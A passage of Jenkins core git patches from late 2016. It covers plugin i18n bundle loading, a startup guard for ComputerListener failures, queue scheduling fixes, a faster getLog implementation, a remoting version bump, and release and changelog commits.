mockHandshake)); - verify(mockHandshake).error(any(String.class)); - } - - @Test - public void testHandleAttemptTakeoverWithInvalidCookie() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("bogus cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockHandshake).error(any(String.class)); - } -} diff --git a/pom.xml b/pom.xml index 2154088eff..e7b7014a59 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62.2 + 3.0 -- GitLab From ab16e52519260c0e9398f15256ed8061a4c00bf0 Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 22 Oct 2016 12:21:56 +0200 Subject: [PATCH 225/712] [FIX JENKINS-35845] Internationalisation for Blue Ocean and JDL (#2586) * Load i18n resource bundles from plugins if not found in jenkins core Signed-off-by: Thorsten Scherler * Issue 404 response for missing i18n resource bundles Currently issues a 200 with an "error" response payload. This change still issues the error response payload, but also sets the HTTP response. Signed-off-by: Thorsten Scherler * [JENKINS-35845] Fix test since we return now a 404 * [JENKINS-35845] add test for getting locale from plugin. fix comments from oleg. * [JENKINS-35845] Fix description * [JENKINS-35845] Update PR with comments from Oleg * [JENKINS-35845] Add feedback from tom * eslint - formating changes and fix offences * eslint - formating changes and fix offences * [JENKINS-35845] remove code concerning 404 response. Fix resourceBundle test by prevent NPE to happen * [JENKINS-35845] Link to issue on which we introduced the test --- .../main/java/hudson/util/HttpResponses.java | 1 + .../java/jenkins/util/ResourceBundleUtil.java | 47 ++++++++++++++++++- test/src/test/java/jenkins/I18nTest.java | 21 +++++++-- 3 files changed, 65 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/util/HttpResponses.java b/core/src/main/java/hudson/util/HttpResponses.java index 511a3f20e0..ccef89059e 100644 --- a/core/src/main/java/hudson/util/HttpResponses.java +++ b/core/src/main/java/hudson/util/HttpResponses.java @@ -29,6 +29,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.File; diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index a62c3fa772..edf8de5fab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -27,12 +27,16 @@ import net.sf.json.JSONObject; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import hudson.PluginWrapper; +import java.util.logging.Logger; import java.util.Locale; import java.util.Map; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.concurrent.ConcurrentHashMap; +import jenkins.model.Jenkins; /** * Simple {@link java.util.ResourceBundle} utility class. @@ -42,6 +46,7 @@ import java.util.concurrent.ConcurrentHashMap; @Restricted(NoExternalUse.class) public class ResourceBundleUtil { + private static final Logger logger = Logger.getLogger("jenkins.util.ResourceBundle"); private static final Map bundles = new ConcurrentHashMap<>(); private ResourceBundleUtil() { @@ -72,7 +77,23 @@ public class ResourceBundleUtil { return bundleJSON; } - ResourceBundle bundle = ResourceBundle.getBundle(baseName, locale); + ResourceBundle bundle = getBundle(baseName, locale, Jenkins.class.getClassLoader()); + if (bundle == null) { + // Not in Jenkins core. Check the plugins. + Jenkins jenkins = Jenkins.getInstance(); // will never return null + if (jenkins != null) { + for (PluginWrapper plugin : jenkins.getPluginManager().getPlugins()) { + bundle = getBundle(baseName, locale, plugin.classLoader); + if (bundle != null) { + break; + } + } + } + } + if (bundle == null) { + throw new MissingResourceException("Can't find bundle for base name " + + baseName + ", locale " + locale, baseName + "_" + locale, ""); + } bundleJSON = toJSONObject(bundle); bundles.put(bundleKey, bundleJSON); @@ -80,6 +101,30 @@ public class ResourceBundleUtil { return bundleJSON; } + /** + * Get a plugin bundle using the supplied Locale and classLoader + * + * @param baseName The bundle base name. + * @param locale The Locale. + * @param classLoader The classLoader + * @return The bundle JSON. + */ + private static @CheckForNull ResourceBundle getBundle(@Nonnull String baseName, @Nonnull Locale locale, @Nonnull ClassLoader classLoader) { + try { + return ResourceBundle.getBundle(baseName, locale, classLoader); + } catch (MissingResourceException e) { + // fall through and return null. + logger.warning(e.getMessage()); + } + return null; + } + + /** + * Create a JSON representation of a resource bundle + * + * @param bundle The resource bundle. + * @return The bundle JSON. + */ private static JSONObject toJSONObject(@Nonnull ResourceBundle bundle) { JSONObject json = new JSONObject(); for (String key : bundle.keySet()) { diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a934422532..5f2da8e793 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -23,6 +23,7 @@ */ package jenkins; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import net.sf.json.JSONObject; import org.junit.Assert; import org.junit.Rule; @@ -31,6 +32,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import java.io.IOException; +import org.jvnet.hudson.test.Issue; /** * @author tom.fennelly@gmail.com @@ -49,9 +51,22 @@ public class I18nTest { @Test public void test_baseName_unknown() throws IOException, SAXException { - JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); - Assert.assertEquals("error", response.getString("status")); - Assert.assertTrue(response.getString("message").contains("com.acme.XyzWhatever")); + try { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); + } catch (FailingHttpStatusCodeException e) { + Assert.assertNotNull(e); + Assert.assertTrue(e.getMessage().contains("com.acme.XyzWhatever")); + } + } + + @Issue("JENKINS-35270") + @Test + public void test_baseName_plugin() throws IOException, SAXException { + // ssh-slaves plugin is installed by default + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=hudson.plugins.sshslaves.Messages").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("The launch timeout must be a number.", data.getString("SSHConnector.LaunchTimeoutMustBeANumber")); } @Test -- GitLab From 12236a8e5a53e4b368ff4d67661afd739875d41a Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 23 Oct 2016 12:18:15 +0200 Subject: [PATCH 226/712] Changelog: Noting#2595, #2492, #2590 and #2586 --- changelog.html | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/changelog.html b/changelog.html index a3123ac384..542fb3dc8e 100644 --- a/changelog.html +++ b/changelog.html @@ -56,9 +56,33 @@ Upcoming changes

        What's new in 2.26 (2016/10/17)

        -- GitLab From bfa9cc368c92b2161fb8b4b8f7974f9a02b4be42 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 23 Oct 2016 13:22:10 +0200 Subject: [PATCH 227/712] Changelog: Wrong link in #2586 --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 542fb3dc8e..e343c78e93 100644 --- a/changelog.html +++ b/changelog.html @@ -74,7 +74,7 @@ Upcoming changes Add missing internationalization support to ResourceBundleUtil. It fixes internationalization in Blue Ocean and Jenkins Design Language. - (issue 37565) + (issue 35845)
      5. Internal: Make the code more compatible with Java 9 requirements and allow its editing in newest NetBeans versions with NB bug 268452. -- GitLab From 4598b2e954935f51246dbca2fc328381632d679d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:39:05 -0700 Subject: [PATCH 228/712] [maven-release-plugin] prepare release jenkins-2.27 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 9fc2489ae7..eb7f9d3eed 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 cli diff --git a/core/pom.xml b/core/pom.xml index 9a22896dd3..2bbb5cca19 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 jenkins-core diff --git a/pom.xml b/pom.xml index e7b7014a59..5d13acc72f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.27 diff --git a/test/pom.xml b/test/pom.xml index 0a49ba09f4..84273ad065 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 test diff --git a/war/pom.xml b/war/pom.xml index f83cd5e10e..88aa2e732a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 jenkins-war -- GitLab From a7b024bbdfd694fef63f12848b60d6d340f22f55 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:39:05 -0700 Subject: [PATCH 229/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index eb7f9d3eed..57371941e3 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2bbb5cca19..9b6d671e21 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5d13acc72f..42b739241e 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.27 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 84273ad065..986f630235 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 88aa2e732a..7fd61134e1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT jenkins-war -- GitLab From bedbe1a72f2bbf5e4943547aa338c968062f96a1 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:50:00 -0700 Subject: [PATCH 230/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e343c78e93..b9e11acf28 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

        What's new in 2.27 (2016/10/23)

        • Upgrade to the Remoting 3 baseline. Compatibility notes are available @@ -84,7 +89,6 @@ Upcoming changes Deprecate TopLevelItemDescriptor#getIconFilePathPattern() and switch to IconSpec. (issue 38960)
        -

    What's new in 2.26 (2016/10/17)

    What's new in 2.28 (2016/10/30)

    -- GitLab From 58e1228c99fd3d5063b0967d7780dc536bc2c463 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 5 Nov 2016 21:42:20 +0400 Subject: [PATCH 280/712] [FIXED JENKINS-38487] - Jenkins startup must not fail in the case of ComputerListener failure (#2610) Without this code Jenkinbs startup fails if EnvInject fails to find global property file on startup. Javadoc says "Exceptions will be recorded to the listener. Note that throwing an exception doesn't put the computer offline." regarding the listener method exception, hence we should not block Jenkins startup --- .../java/hudson/slaves/ComputerListener.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++++++++---- .../test/java/jenkins/model/JenkinsTest.java | 19 +++++++++++++++ 3 files changed, 39 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ComputerListener.java b/core/src/main/java/hudson/slaves/ComputerListener.java index c2e4dc1f70..b166a6c40d 100644 --- a/core/src/main/java/hudson/slaves/ComputerListener.java +++ b/core/src/main/java/hudson/slaves/ComputerListener.java @@ -143,7 +143,7 @@ public abstract class ComputerListener implements ExtensionPoint { * Starting Hudson 1.312, this method is also invoked for the master, not just for agents. * * @param listener - * This is connected to the launch log of the computer. + * This is connected to the launch log of the computer or Jenkins master. * Since this method is called synchronously from the thread * that launches a computer, if this method performs a time-consuming * operation, this listener should be notified of the progress. diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e69b1dbda4..427a782adf 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -958,11 +958,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve updateComputerList(); - {// master is online now - Computer c = toComputer(); - if(c!=null) - for (ComputerListener cl : ComputerListener.all()) - cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + {// master is online now, it's instance must always exist + final Computer c = toComputer(); + if(c != null) { + for (ComputerListener cl : ComputerListener.all()) { + try { + cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + } catch (Throwable t) { + if (t instanceof Error) { + // We propagate Runtime errors, because they are fatal. + throw t; + } + + // Other exceptions should be logged instead of failing the Jenkins startup (See listener's Javadoc) + // We also throw it for InterruptedException since it's what is expected according to the javadoc + LOGGER.log(SEVERE, String.format("Invocation of the computer listener %s failed for the Jenkins master node", + cl.getClass()), t); + } + } + } } for (ItemListener l : ItemListener.all()) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 936e1ae977..27528d2e04 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -42,6 +42,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.maven.MavenModuleSet; import hudson.maven.MavenModuleSetBuild; +import hudson.model.Computer; import hudson.model.Failure; import hudson.model.RestartListener; import hudson.model.RootAction; @@ -51,6 +52,7 @@ import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.util.HttpResponses; import hudson.model.FreeStyleProject; +import hudson.model.TaskListener; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.LegacySecurityRealm; import hudson.security.Permission; @@ -70,6 +72,7 @@ import org.kohsuke.stapler.HttpResponse; import org.mockito.ArgumentCaptor; import org.mockito.Mockito; +import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; @@ -452,4 +455,20 @@ public class JenkinsTest { assertThat(rsp.getContentAsString(), containsString("Node is offline")); assertThat(rsp.getStatusCode(), equalTo(404)); } + + @Test + @Issue("JENKINS-38487") + public void startupShouldNotFailOnFailingOnlineListener() { + // We do nothing, FailingOnOnlineListener & JenkinsRule should cause the + // boot failure if the issue is not fixed. + } + + @TestExtension(value = "startupShouldNotFailOnFailingOnlineListener") + public static final class FailingOnOnlineListener extends ComputerListener { + + @Override + public void onOnline(Computer c, TaskListener listener) throws IOException, InterruptedException { + throw new IOException("Something happened (the listener always throws this exception)"); + } + } } -- GitLab From a57b52ec7e16d9b9985d6303e918aa6fdfa0a141 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 5 Nov 2016 15:26:24 -0400 Subject: [PATCH 281/712] [FIXED JENKINS-39454] Do not consider pendings when deciding whether a schedule result should be new or existing, as we have already taken a snapshot of actions. (#2609) --- core/src/main/java/hudson/model/Executor.java | 3 +++ core/src/main/java/hudson/model/Queue.java | 13 +++++++++++-- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index 03b146908c..d30ecf5da8 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -389,6 +389,9 @@ public class Executor extends Thread implements ModelObject { } if (executable instanceof Actionable) { + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(FINER, "when running {0} from {1} we are copying {2} actions whereas the item currently has {3}", new Object[] {executable, workUnit.context.item, workUnit.context.actions, workUnit.context.item.getAllActions()}); + } for (Action action: workUnit.context.actions) { ((Actionable) executable).addAction(action); } diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 28e24f8f2e..bbc227604e 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -612,6 +612,9 @@ public class Queue extends ResourceController implements Saveable { for (Item item : duplicatesInQueue) { for (FoldableAction a : Util.filter(actions, FoldableAction.class)) { a.foldIntoExisting(item, p, actions); + if (LOGGER.isLoggable(Level.FINE)) { + LOGGER.log(Level.FINE, "after folding {0}, {1} includes {2}", new Object[] {a, item, item.getAllActions()}); + } } } @@ -1049,7 +1052,13 @@ public class Queue extends ResourceController implements Saveable { List result = new ArrayList(); result.addAll(blockedProjects.getAll(t)); result.addAll(buildables.getAll(t)); - result.addAll(pendings.getAll(t)); + // Do not include pendings—we have already finalized WorkUnitContext.actions. + if (LOGGER.isLoggable(Level.FINE)) { + List thePendings = pendings.getAll(t); + if (!thePendings.isEmpty()) { + LOGGER.log(Level.FINE, "ignoring {0} during scheduleInternal", thePendings); + } + } for (Item item : waitingList) { if (item.task.equals(t)) { result.add(item); @@ -1414,7 +1423,7 @@ public class Queue extends ResourceController implements Saveable { p.task.getFullDisplayName()); p.isPending = false; pendings.remove(p); - makeBuildable(p); + makeBuildable(p); // TODO whatever this is for, the return value is being ignored, so this does nothing at all } } -- GitLab From 2e8c3bec8ea150621ba0d01c8d44dc2b00b550bf Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Sun, 6 Nov 2016 11:25:58 +0100 Subject: [PATCH 282/712] [FIXED JENKINS-39535] - Optimize get log method (#2607) * Add some tests to current behaviour of getLog method * getLog(maxLines) reads only last maxLines lines now It should speed up and reduce memory consumption for some plugins (i.e. Email-ext Plugin). Also now this method could be used to get last lines of build output in efficient manner. * Fix issues from code review --- core/src/main/java/hudson/model/Run.java | 75 ++++++++++++++------ core/src/test/java/hudson/model/RunTest.java | 44 +++++++++++- 2 files changed, 96 insertions(+), 23 deletions(-) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 43c5e414c8..dfb4dffd14 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -36,13 +36,16 @@ import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.FeedAdapter; import hudson.Functions; +import hudson.console.AnnotatedLargeText; +import hudson.console.ConsoleLogFilter; +import hudson.console.ConsoleNote; +import hudson.console.ModelHyperlinkNote; +import hudson.console.PlainTextConsoleOutputStream; import jenkins.util.SystemProperties; import hudson.Util; import hudson.XmlFile; import hudson.cli.declarative.CLIMethod; -import hudson.console.*; import hudson.model.Descriptor.FormException; -import hudson.model.Run.RunExecution; import hudson.model.listeners.RunListener; import hudson.model.listeners.SaveableListener; import hudson.model.queue.Executables; @@ -58,7 +61,7 @@ import hudson.util.FormApply; import hudson.util.LogTaskListener; import hudson.util.ProcessTree; import hudson.util.XStream2; -import java.io.BufferedReader; + import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; @@ -68,6 +71,7 @@ import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.PrintWriter; +import java.io.RandomAccessFile; import java.io.Reader; import java.io.StringWriter; import java.nio.charset.Charset; @@ -83,7 +87,6 @@ import java.util.GregorianCalendar; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashMap; -import java.util.LinkedList; import java.util.List; import java.util.Locale; import java.util.Map; @@ -113,9 +116,14 @@ import org.acegisecurity.AccessDeniedException; import org.acegisecurity.Authentication; import org.apache.commons.io.IOUtils; import org.apache.commons.jelly.XMLOutput; +import org.apache.commons.lang.ArrayUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; -import org.kohsuke.stapler.*; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.Stapler; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; import org.kohsuke.stapler.export.Exported; import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -1930,31 +1938,54 @@ public abstract class Run ,RunT extends Run getLog(int maxLines) throws IOException { - int lineCount = 0; - List logLines = new LinkedList(); if (maxLines == 0) { - return logLines; - } - try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(getLogFile()), getCharset()))) { - for (String line = reader.readLine(); line != null; line = reader.readLine()) { - logLines.add(line); - ++lineCount; - // If we have too many lines, remove the oldest line. This way we - // never have to hold the full contents of a huge log file in memory. - // Adding to and removing from the ends of a linked list are cheap - // operations. - if (lineCount > maxLines) - logLines.remove(0); + return Collections.emptyList(); + } + + int lines = 0; + long filePointer; + final List lastLines = new ArrayList<>(Math.min(maxLines, 128)); + final List bytes = new ArrayList<>(); + + try (RandomAccessFile fileHandler = new RandomAccessFile(getLogFile(), "r")) { + long fileLength = fileHandler.length() - 1; + + for (filePointer = fileLength; filePointer != -1 && maxLines != lines; filePointer--) { + fileHandler.seek(filePointer); + byte readByte = fileHandler.readByte(); + + if (readByte == 0x0A) { + if (filePointer < fileLength) { + lines = lines + 1; + lastLines.add(convertBytesToString(bytes)); + bytes.clear(); + } + } else if (readByte != 0xD) { + bytes.add(readByte); + } } } + if (lines != maxLines) { + lastLines.add(convertBytesToString(bytes)); + } + + Collections.reverse(lastLines); + // If the log has been truncated, include that information. // Use set (replaces the first element) rather than add so that // the list doesn't grow beyond the specified maximum number of lines. - if (lineCount > maxLines) - logLines.set(0, "[...truncated " + (lineCount - (maxLines - 1)) + " lines...]"); + if (lines == maxLines) { + lastLines.set(0, "[...truncated " + Functions.humanReadableByteSize(filePointer)+ "...]"); + } + + return ConsoleNote.removeNotes(lastLines); + } - return ConsoleNote.removeNotes(logLines); + private String convertBytesToString(List bytes) { + Collections.reverse(bytes); + Byte[] byteArray = bytes.toArray(new Byte[bytes.size()]); + return new String(ArrayUtils.toPrimitive(byteArray), getCharset()); } public void doBuildStatus( StaplerRequest req, StaplerResponse rsp ) throws IOException { diff --git a/core/src/test/java/hudson/model/RunTest.java b/core/src/test/java/hudson/model/RunTest.java index ef4d51e514..58ce9a5b6e 100644 --- a/core/src/test/java/hudson/model/RunTest.java +++ b/core/src/test/java/hudson/model/RunTest.java @@ -159,7 +159,7 @@ public class RunTest { Job j = Mockito.mock(Job.class); File tempBuildDir = tmp.newFolder(); Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); - Run r = new Run(j, 0) {}; + Run, ? extends Run> r = new Run(j, 0) {}; File f = r.getLogFile(); f.getParentFile().mkdirs(); PrintWriter w = new PrintWriter(f, "utf-8"); @@ -169,4 +169,46 @@ public class RunTest { assertTrue(logLines.isEmpty()); } + @Test + public void getLogReturnsAnRightOrder() throws Exception { + Job j = Mockito.mock(Job.class); + File tempBuildDir = tmp.newFolder(); + Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); + Run, ? extends Run> r = new Run(j, 0) {}; + File f = r.getLogFile(); + f.getParentFile().mkdirs(); + PrintWriter w = new PrintWriter(f, "utf-8"); + for (int i = 0; i < 20; i++) { + w.println("dummy" + i); + } + + w.close(); + List logLines = r.getLog(10); + assertFalse(logLines.isEmpty()); + + for (int i = 1; i < 10; i++) { + assertEquals("dummy" + (10+i), logLines.get(i)); + } + assertEquals("[...truncated 68 B...]", logLines.get(0)); + } + + @Test + public void getLogReturnsAllLines() throws Exception { + Job j = Mockito.mock(Job.class); + File tempBuildDir = tmp.newFolder(); + Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); + Run, ? extends Run> r = new Run(j, 0) {}; + File f = r.getLogFile(); + f.getParentFile().mkdirs(); + PrintWriter w = new PrintWriter(f, "utf-8"); + w.print("a1\nb2\n\nc3"); + w.close(); + List logLines = r.getLog(10); + assertFalse(logLines.isEmpty()); + + assertEquals("a1", logLines.get(0)); + assertEquals("b2", logLines.get(1)); + assertEquals("", logLines.get(2)); + assertEquals("c3", logLines.get(3)); + } } -- GitLab From bf59cf6c6cb21fcb705811afbdc909e88cc73e78 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 6 Nov 2016 12:37:25 +0100 Subject: [PATCH 283/712] Changelog: Noting #2607, #2609, #2610, #2611 and #2608 --- changelog.html | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/changelog.html b/changelog.html index cab5e808c7..a11292f8ed 100644 --- a/changelog.html +++ b/changelog.html @@ -56,13 +56,28 @@ Upcoming changes

    What's new in 2.28 (2016/10/30)

    -- GitLab From 62a5dddb3c2b00c4602a504ffefd65320cf81915 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 6 Nov 2016 23:09:15 +0100 Subject: [PATCH 284/712] Update remoting to 2.62.2 This PR picks the latest available version of remoting stable-2.x. All the fixes have been integrated into remoting-3.0 and soaked enough. * [JENKINS-38539](https://issues.jenkins-ci.org/browse/JENKINS-38539) - Stability: Turn on SO_KEEPALIVE by default and provide CLI option to turn it off again. (https://github.com/jenkinsci/remoting/pull/110) * [JENKINS-37539](https://issues.jenkins-ci.org/browse/JENKINS-37539) - Prevent NullPointerException in Engine#connect() when host or port parameters are null or empty. (https://github.com/jenkinsci/remoting/pull/101) * [CID-152201] - Fix resource leak in remoting.jnlp.Main. (https://github.com/jenkinsci/remoting/pull/102) * [CID-152200,CID-152202] - Resource leak in Encryption Cipher I/O streams on exceptional paths. (https://github.com/jenkinsci/remoting/pull/104) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index b3a1b40b91..7c42bbddb3 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62 + 2.62.2 -- GitLab From befc3d9393122bf7b3997f86b1a37b384c4a21a3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:43:11 -0800 Subject: [PATCH 285/712] [maven-release-plugin] prepare release jenkins-2.29 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fb9435af2d..ddd786df54 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 cli diff --git a/core/pom.xml b/core/pom.xml index b866599115..1ece5d1dd6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 jenkins-core diff --git a/pom.xml b/pom.xml index 19450dfa53..8a9aa15dc1 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.29 diff --git a/test/pom.xml b/test/pom.xml index fd2cde8e9e..224effdbf6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 test diff --git a/war/pom.xml b/war/pom.xml index 2c11c24bc0..e041bb64d8 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 jenkins-war -- GitLab From 682be471a9ba341501911f86ef85750bd1d3b239 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:43:11 -0800 Subject: [PATCH 286/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 